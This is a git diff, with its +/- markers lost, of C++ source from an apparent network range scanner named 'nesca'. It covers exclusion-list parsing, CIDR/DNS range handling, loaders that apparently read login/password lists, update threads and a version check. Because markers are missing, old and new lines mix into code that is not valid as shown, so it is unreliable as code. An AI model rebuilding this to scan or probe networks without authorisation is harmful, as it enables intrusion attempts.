if(buffFG[0] == '#' || buffFG[0] == ' ' || buffFG[0] == '\n' || buffFG[0] == '\r' || strcmp(buffFG, "") == 0 ||
|
||||
(buffFG[0] == '/' && buffFG[1] == '/'))
|
||||
{
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
continue;
|
||||
};
|
||||
|
||||
if(buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t')
|
||||
{
|
||||
char buffFGT[256] = {0};
|
||||
strcpy(buffFGT, buffFG);
|
||||
char *ptr1 = strstr(buffFGT, "\t\t\t");
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
strcpy(buffFG, ptr1 + 3);
|
||||
};
|
||||
|
||||
int bSz = strlen(buffFG);
|
||||
if((bSz == 2 && buffFG[0] == 13 && buffFG[1] == 10) || (bSz == 1 && (buffFG[0] == 13 || buffFG[0] == 10)))
|
||||
{
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
continue;
|
||||
};
|
||||
if(buffFG[bSz] == 13 || buffFG[bSz] == 10)
|
||||
{
|
||||
buffFG[bSz] = '\0';
|
||||
};
|
||||
if(buffFG[bSz - 1] == 13 || buffFG[bSz - 1] == 10)
|
||||
{
|
||||
buffFG[bSz - 1] = '\0';
|
||||
};
|
||||
if(buffFG[bSz - 2] == 13 || buffFG[bSz - 2] == 10)
|
||||
{
|
||||
buffFG[bSz - 2] = '\0';
|
||||
};
|
||||
|
||||
if(strstr((char*)buffFG, "\n") != 0)
|
||||
{
|
||||
std::string res;
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
res = xcode(buffFG, CP_UTF8, CP_ACP);
|
||||
#else
|
||||
res = std::string(buffFG);
|
||||
#endif
|
||||
int sz = res.size();
|
||||
GlobalNegatives[i] = new char[sz + 1];
|
||||
ZeroMemory(GlobalNegatives[i], sizeof(*GlobalNegatives[i]));
|
||||
memcpy(GlobalNegatives[i], toLowerStr(res.c_str()).c_str(), sz - 1);
|
||||
memset(GlobalNegatives[i] + sz - 1, '\0', 1);
|
||||
++i;
|
||||
}
|
||||
else
|
||||
{
|
||||
std::string res;
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
res = xcode(buffFG, CP_UTF8, CP_ACP);
|
||||
#else
|
||||
res = std::string(buffFG);
|
||||
#endif
|
||||
int sz = res.size();
|
||||
GlobalNegatives[i] = new char[sz + 1];
|
||||
ZeroMemory(GlobalNegatives[i], sizeof(*GlobalNegatives[i]));
|
||||
memcpy(GlobalNegatives[i], toLowerStr(res.c_str()).c_str(), sz);
|
||||
memset(GlobalNegatives[i] + sz, '\0', 1);
|
||||
++i;
|
||||
};
|
||||
|
||||
unsigned char buffcpy2[256] = {0};
|
||||
int sz = strlen((char*)buffFG);
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
strncpy((char*)buffcpy2, xcode(buffFG, CP_ACP, CP_UTF8).c_str(), sz);
|
||||
#else
|
||||
strncpy((char*)buffcpy2, buffFG, sz);
|
||||
#endif
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
stt->doEmitionGreenFoundData("Negative list loaded (" + QString::number(GlobalNegativeSize) + " entries)");
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
fclose(nFile);
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionRedFoundData("No negative list found");
|
||||
stt->doEmitionKillSttThread();
|
||||
};
|
||||
}
|
||||
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
unsigned char* ASCIItoUNICODE (unsigned char ch)
|
||||
{
|
||||
@ -1154,24 +853,6 @@ std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage) {
|
||||
#endif
|
||||
return res;
|
||||
}
|
||||
void _NegativeLoader() {
|
||||
FILE *nFile = fopen("negatives.txt", "rb");
|
||||
|
||||
if( nFile != NULL)
|
||||
{
|
||||
unsigned char b[3] = {0};
|
||||
fread(b,1,2, nFile);
|
||||
if( b[0] == 0xEF && b[1] == 0xBB)
|
||||
{
|
||||
fread(b,1,1,nFile); // 0xBF
|
||||
ReadUTF8(nFile, "UTF");
|
||||
}
|
||||
else
|
||||
{
|
||||
ReadUTF8(nFile, "1251");
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
void CheckMaskBits(char *res, int index) {
|
||||
char *bitsStr = strstr(res, "/");
|
||||
@ -1646,6 +1327,7 @@ char *GetCIDRRangeStr(char *str) {
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
int fInit(int InitMode, char *gR) {
|
||||
strcpy(metaRange, gR);
|
||||
if (InitMode == 0)
|
||||
@ -2080,11 +1762,13 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) {
|
||||
}
|
||||
|
||||
void runAuxiliaryThreads() {
|
||||
std::thread lpThread(FileUpdater::updateLists);
|
||||
lpThread.detach();
|
||||
std::thread saverThread(_saver);
|
||||
saverThread.detach();
|
||||
std::thread trackerThread(_tracker);
|
||||
std::thread timerThread(_timer);
|
||||
saverThread.detach();
|
||||
trackerThread.detach();
|
||||
trackerThread.detach();
|
||||
std::thread timerThread(_timer);
|
||||
timerThread.detach();
|
||||
}
|
||||
|
||||
@ -2141,10 +1825,7 @@ int startScan(char* args) {
|
||||
|
||||
stt->doEmitionIPRANGE(QString("--"));
|
||||
stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads));
|
||||
|
||||
_passLoginLoader();
|
||||
_NegativeLoader();
|
||||
|
||||
FileUpdater::loadOnce();
|
||||
runAuxiliaryThreads();
|
||||
|
||||
if (gMode == 0)
|
||||
@ -2434,6 +2115,7 @@ int startScan(char* args) {
|
||||
}
|
||||
|
||||
void nCleanup(){
|
||||
FileUpdater::FUClear();
|
||||
Threader::cleanUp();
|
||||
curl_global_cleanup();
|
||||
|
||||
|
@ -9,7 +9,7 @@
|
||||
#include <QtCore/qglobal.h>
|
||||
|
||||
static const unsigned char qt_resource_data[] = {
|
||||
// /home/kvs/Documents/CProjects/nesca/Eurostile.ttf
|
||||
|
||||
0x0,0x0,0x94,0xe4,
|
||||
0x0,
|
||||
0x1,0x0,0x0,0x0,0xc,0x0,0x80,0x0,0x3,0x0,0x40,0x4f,0x53,0x2f,0x32,0x73,
|
||||
@ -2395,7 +2395,7 @@ static const unsigned char qt_resource_data[] = {
|
||||
0x72,0x6f,0x6e,0x5,0x44,0x65,0x6c,0x74,0x61,0x0,0x0,0x40,0xa,0x3,0x3,0x2,
|
||||
0x2,0x1,0x1,0x0,0x0,0x0,0x30,0xb8,0x1,0x24,0x85,0x1d,0x13,0x0,0x3f,0x3f,
|
||||
0x3f,0x3f,0x1,
|
||||
// /home/kvs/Documents/CProjects/nesca/nesca.ico
|
||||
|
||||
0x0,0x0,0x0,0x91,
|
||||
0x0,
|
||||
0x0,0x4,0x7e,0x78,0x9c,0x63,0x60,0x60,0x4,0x42,0x1,0x1,0x6,0x20,0xa9,0xc0,
|
||||
|
@ -7,7 +7,7 @@
|
||||
void _checkVer()
|
||||
{
|
||||
while(true) {
|
||||
char request[64] = {"http://nesca.d3w.org/version"};
|
||||
const char request[64] = {"http://nesca.d3w.org/version"};
|
||||
std::string buffer;
|
||||
std::vector<std::string> headerVector {"X-Nescav3: True"};
|
||||
Connector::nConnect(request, 80, &buffer, NULL, &headerVector);
|
||||
@ -20,6 +20,8 @@ void _checkVer()
|
||||
ptr1 = strstr((char*)buffer.c_str(), "\r\n\r\n");
|
||||
if(strcmp(gVER, ptr1 + 4) != 0)
|
||||
{
|
||||
stt->doEmitionFoundData("<br><font color=\"Pink\">======Update required======<br>Latest version: " + QString(ptr1 + 4) +
|
||||
"<br>Your version: " + QString(gVER) + "<br>=======================</font>");
|
||||
stt->doEmitionShowRedVersion();
|
||||
};
|
||||
};
|
||||
|
Loading…
Reference in New Issue
Block a user